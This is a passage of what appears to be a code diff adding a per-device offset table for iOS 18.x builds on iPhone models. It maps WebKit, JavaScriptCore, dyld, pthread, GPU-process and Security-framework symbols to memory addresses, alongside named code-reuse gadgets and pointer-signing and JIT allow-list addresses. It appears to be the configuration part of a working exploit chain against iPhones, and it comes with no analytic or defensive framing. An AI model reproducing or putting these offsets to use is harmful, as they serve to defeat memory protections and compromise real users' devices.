+ CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a0fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2726f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed400100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,3_22G89": { + __pthread_head : 0x2699a0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed692ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc55870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a07e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272084000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone17,4_22G89": { + __pthread_head : 0x2699a0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed692ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc55870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a07e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272084000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone17,5_22G89": { + __pthread_head : 0x26970c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6390n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f62f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6340n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5738n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7045c8n, + free_slabs : 0x1ed7bdd50n, + gadget_control_1_ios184 : 0x23ed652ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6f70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6b70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c38n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb078b4n, + libGPUCompilerImplLazy_cstring : 0x23bc51870n, + libsystem_c__atexit_mutex : 0x1ed6e31d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2440n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a03e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dcc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8771e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883fb8n, + WebCore__initPKContact_value : 0x1ed883fc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b478n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882790n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882788n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882770n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8783c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + + "iPhone11,2_4_6_22G90": { + __pthread_head : 0x2689b0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef4e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccf08b4n, + libGPUCompilerImplLazy_cstring : 0x23be3a870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576dfe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27101c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + 